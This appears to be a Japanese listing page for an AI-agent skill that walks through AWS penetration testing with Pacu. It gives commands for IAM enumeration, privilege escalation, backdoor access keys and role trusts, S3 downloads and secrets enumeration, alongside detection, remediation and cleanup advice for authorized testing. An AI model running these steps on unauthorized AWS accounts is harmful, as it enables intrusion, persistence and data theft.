mcpField
E
exploiting-aws-with-pacu

exploiting-aws-with-pacu

github.com/mukul975セキュリティ35.2k38 回インストール8 週間前に更新
リポジトリ

exploiting-aws-with-pacu について

このスキルは、Pacuを使ったAWSアカウントの許可済みペネトレーションテストを案内します。IAMの列挙、権限昇格経路の分析、永続化の検証、テスト痕跡の削除を扱います。

主な機能

  1. 01AWS認証情報とセッションの管理
  2. 02IAM権限とクラウドリソースの列挙
  3. 03権限昇格経路のスキャンと検証
  4. 04キーとロールによる永続化の実演
  5. 05結果の出力と痕跡の削除

活用シーン

  1. 01漏えいしたIAM認証情報の影響評価
  2. 02許可済みAWSレッドチーム演習
  3. 03攻撃テレメトリーによるクラウド検知の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-aws-with-pacu

インストール後、Claude Code で/exploiting-aws-with-pacuを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

詳細

Pacu による AWS の悪用

法的通知: このスキルは、許可を得た侵入テストおよび教育目的のみを想定しています。Pacu は稼働中の AWS アカウントに対して、能動的な列挙、権限昇格、永続化、バックドア設置を行います。実行してよいのは、自身が所有しているアカウント、またはテスト実施について明示的な書面による許可(スコープ / Rules of Engagement)を得ているアカウントに限ってください。多くのモジュールは、新しい IAM ユーザー、アクセスキー、ポリシーなど、永続的な変更を作成します。すべてを追跡し、削除してください。許可のない使用は、CFAA などの同等の法律に違反する違法行為です。

概要

Pacu は Rhino Security Labs が開発しているオープンソースの AWS 悪用フレームワークです。クラウドの侵入テストにおける Metasploit に相当するもので、ターゲットセッションを管理し、AWS アカウントを列挙し、権限昇格の経路を特定し、永続化/バックドア設置/情報持ち出しモジュールを実行する、モジュール型の Python コンソールです。すべては、列挙したリソースを記録するローカルの SQLite データベースで支えられており、モジュール同士が互いの調査結果を連鎖的に利用できます。

Pacu でのエンゲージメントは、一定の流れに沿って進みます。名前付きのセッションを作成し、set_keys を使うか ~/.aws/credentials からインポートして AWS キーを読み込み、whoami で ID を確認した後、IAM およびアカウント内の他のリソースを列挙します。主要なワークフローは iam__enum_permissions の後に iam__privesc_scan を実行する流れです。これは、侵害された プリンシパルを、既知の AWS IAM 権限昇格プリミティブ約 20 種(例: iam:CreatePolicyVersion、iam:AttachUserPolicy、iam:PassRole + lambda:CreateFunction、sts:AssumeRole)と照合し、自動的に悪用することもできます。iam__backdoor_users_keys などの永続化モジュールは既存ユーザーに 2 つ目のアクセスキーを発行し、iam__backdoor_assume_role はロールに信頼関係を追加して、攻撃者が後からそのロールを引き受けられるようにします。

このスキルでは、Pacu のインストール、セッションと認証情報の管理、IAM の列挙、自動化された権限昇格のスキャンと悪用、永続化/バックドア設置、およびデータアクセスを扱います。各コマンドとモジュール名は、Rhino Security Labs のプロジェクトで検証済みです。出典: github.com/RhinoSecurityLabs/pacu。

使用するタイミング

  • 許可を得た AWS クラウドの侵入テストまたはレッドチームのエンゲージメントを実施するとき
  • 侵害された単一の IAM 認証情報の影響範囲を評価するとき(権限昇格スキャン)
  • 是正を促すために、永続化/バックドアの手法を実証するとき
  • クラウドの検知を検証するための、現実的な攻撃者のテレメトリを生成するとき(パープルチーム)
  • 不慣れな AWS アカウントの IAM、EC2、S3、Lambda の露出を把握するとき

前提条件

  • Pacu がインストールされていること:
    python3 -m pip install -U pip
    python3 -m pip install -U pacu     # then run: pacu
    # or, preferred on Kali, with pipx:
    pipx install git+https://github.com/RhinoSecurityLabs/pacu.git
    # or Docker:
    docker run -it rhinosecuritylabs/pacu:latest
    
  • スコープ内のターゲットプリンシパルの AWS アクセスキー/シークレット(任意でセッショントークン)
  • スコープを定義した、署名済みの許可文書/Rules of Engagement
  • Python 3.9 以上、および AWS API エンドポイントへの送信 HTTPS 通信
  • 検証用の AWS CLI(aws sts get-caller-identity)

目標

  • Pacu をインストールし、分離されたエンゲージメント用セッションを作成する
  • ターゲットの AWS 認証情報を読み込み、検証する
  • 侵害されたプリンシパルの IAM 権限を列挙する
  • 権限昇格の経路を特定し、(許可されている場合は)悪用する
  • バックドアのアクセスキーとロールの信頼関係を通じて永続化を確立する
  • EC2、S3、Secrets Manager のデータを列挙し、アクセスする
  • 報告用に調査結果をエクスポートし、すべてのアーティファクトが削除されていることを確認する

MITRE ATT&CK との対応

ID名称このスキルでの用途
T1078.004Valid Accounts: Cloud AccountsPacu は正規の AWS プリンシパルとして動作し、その権限を悪用する
T1098.001Account Manipulation: Additional Cloud Credentialsiam__backdoor_users_keys が 2 つ目のアクセスキーを発行する
T1098.003Account Manipulation: Additional Cloud Rolesiam__backdoor_assume_role、またはロールポリシーの変更による権限昇格
T1580Cloud Infrastructure Discoveryec2__enum、iam__enum_users_roles_policies_groups
T1530Data from Cloud Storages3__download_bucket が S3 オブジェクトを取得する
T1552.005Unsecured Credentials: Cloud Instance Metadata APIEC2 IMDS の認証情報の悪用

ワークフロー

1. Pacu を起動し、セッションを作成する
pacu
# In the Pacu console:
Pacu> set_keys
#   key alias  : engagement-target
#   access key : AKIA...
#   secret key : ...
#   session tok: (optional)
2. 操作中のIDを確認する
Pacu> whoami
Pacu> run aws sts get-caller-identity     # or, outside Pacu: aws sts get-caller-identity
3. IAMエンティティと侵害されたプリンシパルの権限を列挙する
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM            # review what was collected into the session DB
4. 権限昇格の経路をスキャンする

iam__privesc_scan は、プリンシパルを既知のAWS権限昇格プリミティブと照合し、実行可能な方法を一覧表示します。

Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline      # analyze without making changes
5. バックドア用アクセスキーで永続化を確立する
Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker
6. コンピュートとストレージを列挙する
Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S3
7. シークレットを収集する
Pacu> run secrets__enum
8. 非対話型の実行(CI/スクリプト)

Pacu は、シェルからのワンショットでのモジュール実行に対応しています。

pacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec
pacu --session engagement --module-name s3__download_bucket \
     --module-args "--names target-bucket" --exec
9. 調査結果のエクスポートとクリーンアップ
Pacu> data all > /dev/stdout         # review collected data
# Manually remove every backdoor created (record ARNs/key IDs first):
aws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR
aws iam update-assume-role-policy --role-name target-role --policy-document file://original-trust.json

列挙から権限昇格までのフローを非対話的に実行するには、scripts/agent.py を参照してください。

ツールとリソース

リソース目的リンク
Pacu GitHubソース、モジュール、Wikihttps://github.com/RhinoSecurityLabs/pacu
Pacu モジュール一覧モジュールごとのドキュメントhttps://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
Rhino AWS 権限昇格の調査iam__privesc_scan がチェックする権限昇格プリミティブhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
AWS IAM ドキュメント権限とポリシーのリファレンスhttps://docs.aws.amazon.com/IAM/latest/UserGuide/
CloudGoat安全に練習できる脆弱なAWS検証環境https://github.com/RhinoSecurityLabs/cloudgoat

OPSECと検知に関する考慮事項

Pacu のモジュールは目立ちやすく、痕跡が残りやすいため、オペレーターは検知とクリーンアップの両方を計画しておく必要があります。

  • iam__enum_permissions と iam__enum_users_roles_policies_groups は、CloudTrail や GuardDuty で確認できる iam:List*/iam:Get* 呼び出しを大量に発生させます(Discovery:IAMUser/AnomalousBehavior)。
  • オフラインモード以外で実行した iam__privesc_scan は、状態を変更する呼び出し(iam:CreatePolicyVersion、iam:AttachUserPolicy)を行う可能性があります。分析のみを行う場合は --offline を使用してください。
  • iam__backdoor_users_keys は iam:CreateAccessKey を、iam__backdoor_assume_role は iam:UpdateAssumeRolePolicy をトリガーします。どちらも防御側がアラートを上げる、検知されやすい永続化の指標です。
  • 作成したすべての成果物のID(アクセスキー、ポリシーバージョン、ロールの信頼関係の変更)を記録し、それぞれを元に戻せるようにしてください。放置されたバックドアは、OPSECの失敗であると同時に、顧客にとって現実的なリスクとなります。

推奨する防御的対策

検出事項修復策
過剰な権限を持つIAMプリンシパル(権限昇格の経路)最小権限の原則を適用し、iam:PassRole を条件付きで範囲限定する
非管理者ロールに iam:CreatePolicyVersion/SetDefaultPolicyVersion が許可されている非管理者ロールから削除する
長期間有効なアクセスキーキーのローテーションを強制し、ロールや短期のSTS認証情報を優先する
キー作成に対する検知がないCloudTrail で CreateAccessKey/UpdateAssumeRolePolicy のアラートを設定する

主要モジュールのリファレンス

モジュール目的
iam__enum_users_roles_policies_groupsすべてのIAMプリンシパルとポリシーを列挙する
iam__enum_permissions現在のプリンシパルの実効権限を解決する
iam__privesc_scan権限昇格の経路を特定する(必要に応じて悪用も行う)
iam__backdoor_users_keysユーザーにバックドア用アクセスキーを作成する
iam__backdoor_assume_roleロールに攻撃者が管理する信頼関係を追加する
ec2__enumEC2インスタンス、ボリューム、スナップショットを列挙する
s3__download_bucketS3バケットからオブジェクトをダウンロードする
secrets__enumSecrets Manager/SSMパラメータを列挙する

検証基準

  • Pacu がインストールされ、コンソールが起動する
  • エンゲージメント用セッションが作成され、キーが読み込まれている
  • whoami / sts get-caller-identity で ID が確認されている
  • IAMエンティティと現在のプリンシパルの権限が列挙されている
  • iam__privesc_scan を実行し、実行可能な経路が文書化されている
  • 永続化モジュールの動作が(許可された範囲内で)実証されている
  • EC2/S3/シークレットの列挙が完了している
  • 作成したすべてのバックドア(キー、ロールの信頼関係、ポリシー)が記録され、削除されている
  • エンゲージメントレポート用に調査結果がエクスポートされている
  • アカウント内に攻撃者の痕跡が残っていない

コメント